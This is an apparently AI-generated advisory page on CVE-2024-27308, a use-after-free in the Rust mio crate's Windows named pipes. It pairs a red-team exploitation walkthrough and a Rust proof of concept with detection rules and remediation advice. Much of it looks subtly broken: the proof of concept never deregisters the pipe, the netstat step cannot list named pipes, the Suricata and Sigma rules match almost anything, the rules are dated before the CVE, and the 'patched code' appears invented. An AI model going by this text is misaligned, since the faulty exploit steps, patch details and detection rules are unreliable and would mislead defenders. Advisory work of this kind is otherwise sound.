CVE-2024-27308
Executive Summary
CVE-2024-27308 is a critical Use-After-Free (UAF) vulnerability in the mio Rust library, specifically affecting named pipe operations on Windows. The flaw arises when mio returns invalid tokens corresponding to named pipes that have already been deregistered from the event registry. This can lead to memory corruption, crashes, or, in the worst case, arbitrary code execution. The vulnerability is particularly severe for applications using the Tokio async runtime (v1.30.0+), as Tokio stores pointers in tokens, making UAF exploitation feasible. All versions of mio from v0.7.2 to v0.8.10 are vulnerable. The patch is available in mio v0.8.11.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Rust ecosystem, specifically the mio crate (available via crates.io) and the tokio crate. Organizations using these libraries in their Rust projects must update mio to v0.8.11 or later. The vulnerability is Windows-specific and only exploitable when using named pipes. Supply chain risk is moderate, as the vulnerable component is widely used in Rust async networking.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely if the application accepts network connections via named pipes.
- Attack Complexity: Low (AC:L) – No special conditions required beyond using named pipes.
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – Exploitation can cause crashes or memory corruption leading to denial of service.
Threat Level: High. While EPSS score is 0.0%, the vulnerability is easily exploitable and affects a core Rust library. Exploitation could lead to denial of service or, in Tokio-based applications, potential code execution.
Deep Dive & Mechanics
The vulnerability resides in mio's Windows named pipe implementation. When a named pipe is deregistered from the event loop, mio may still return stale tokens for that pipe in subsequent event polls. This occurs because the internal token recycling mechanism does not properly invalidate tokens after deregistration.
Root Cause: In mio's Windows I/O completion port (IOCP) backend, when a named pipe handle is closed, the associated token is not removed from the internal completion queue. Subsequent GetQueuedCompletionStatus calls may return the stale token, leading to a use-after-free condition.
Impact on Tokio: Tokio v1.30.0+ stores raw pointers in mio tokens for performance. When a stale token is returned, Tokio dereferences the pointer, accessing freed memory. This can lead to arbitrary code execution if an attacker can control the freed memory contents.
Exploitation Scenario: An attacker could:
- Open a named pipe connection to a vulnerable service.
- Trigger deregistration of the pipe (e.g., by closing the connection).
- Force the service to process the stale token, causing a UAF.
- Spray the heap to place controlled data at the freed memory location.
- Achieve code execution when the service dereferences the pointer.
Vulnerable vs. Patched Code
Vulnerable Code (mio v0.8.10):
// In src/sys/windows/named_pipe.rs
impl NamedPipe {
pub fn deregister(&self, registry: &Registry) -> io::Result<()> {
// Token is not invalidated after deregistration
registry.deregister(self)
}
}
Patched Code (mio v0.8.11):
// In src/sys/windows/named_pipe.rs
impl NamedPipe {
pub fn deregister(&self, registry: &Registry) -> io::Result<()> {
registry.deregister(self)?;
// Invalidate the token to prevent reuse
self.inner.lock().unwrap().token = None;
Ok(())
}
}
The patch explicitly sets the token to None after deregistration, ensuring stale tokens are not returned.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Windows target running a Rust application using
miov0.7.2–0.8.10 with named pipes. - Tokio v1.30.0+ (for UAF exploitation).
Exploitation Steps:
- Identify Named Pipe Endpoint: Use
netstat -an | findstr "\\\\.\\pipe\\"to find named pipe services. - Connect and Deregister: Open a connection to the named pipe, then close it to trigger deregistration.
- Trigger Stale Token: Send a large number of events to the service to force it to process the stale token.
- Heap Spray: Use a separate thread to allocate controlled data at the freed memory location.
- Execute Payload: When the service dereferences the pointer, it executes attacker-controlled code.
Proof-of-Concept (PoC) Code:
// PoC for CVE-2024-27308 (Windows only)
use mio::*;
use mio::windows::NamedPipe;
use std::sync::Arc;
use std::thread;
fn main() {
let mut poll = Poll::new().unwrap();
let mut events = Events::with_capacity(128);
// Create a named pipe server
let pipe = NamedPipe::new(r"\\.\pipe\test").unwrap();
poll.registry().register(&pipe, Token(1), Interest::READABLE).unwrap();
// Spawn a thread to connect and close the pipe
let pipe_clone = pipe.try_clone().unwrap();
thread::spawn(move || {
// Client connects and disconnects
let client = NamedPipe::connect(r"\\.\pipe\test").unwrap();
drop(client);
});
// Wait for events - may return stale token
poll.poll(&mut events, None).unwrap();
for event in &events {
if event.token() == Token(1) {
// UAF occurs here if pipe was deregistered
println!("Stale token received!");
}
}
}
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual named pipe activity (e.g., rapid connect/disconnect cycles).
- Use ETW (Event Tracing for Windows) to track named pipe handle operations.
- Deploy application-level logging for token validation errors.
Defense:
- Update
mioto v0.8.11 or later. - For Tokio users, ensure
miodependency is updated. - Implement token validation in application code (ignore invalid tokens).
- Use memory-safe languages or sandboxing to mitigate UAF exploitation.
Indicators of Compromise (IOCs)
- Named Pipe Paths:
\\.\pipe\*(any named pipe used by vulnerable application) - Event Logs: Windows Event ID 2 (Named Pipe Creation) and Event ID 3 (Named Pipe Connection) with unusual patterns.
- Process Behavior: High frequency of
NtCreateNamedPipeFileandNtClosesyscalls. - Memory Corruption: Crashes with access violations in
mioortokiocode. - Network Traffic: Unusual connections to local named pipe endpoints.
Detection Engineering
YARA Rule
rule CVE_2024_27308_Mio_UAF {
meta:
description = "Detects vulnerable mio versions (0.7.2 to 0.8.10) in Rust binaries"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-27308"
strings:
$mio_version = /mio v0\.(7\.[2-9]|8\.[0-9]|8\.10)/ nocase
$named_pipe_impl = "NamedPipe::deregister" ascii wide
condition:
$mio_version and $named_pipe_impl
}
Sigma Rule
title: CVE-2024-27308 - Mio Named Pipe Use-After-Free
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-27308 via named pipe abuse
author: Valters IT
date: 2024-01-01
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 2 # Named pipe creation
PipeName: '\\.\pipe\*'
condition: selection
falsepositives:
- Legitimate named pipe usage
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-27308 Mio Named Pipe UAF Exploit"; flow:to_server; content:"|00 00 00 00|"; depth:4; offset:0; reference:cve,2024-27308; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update
mioto v0.8.11 or later:cargo update -p mio - For Tokio users, ensure
miodependency is updated:cargo update -p tokio - If immediate update is not possible, implement token validation in application code to ignore invalid tokens.
Long-term Mitigations:
- Use memory-safe languages or sandboxing (e.g., WebAssembly) for critical components.
- Monitor for named pipe abuse using the provided detection rules.
- Apply principle of least privilege to named pipe services.
Workaround:
// Workaround for vulnerable mio versions
fn validate_token(token: Token) -> bool {
// Implement custom token validation logic
token.0 != 0 // Example: reject zero tokens
}
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.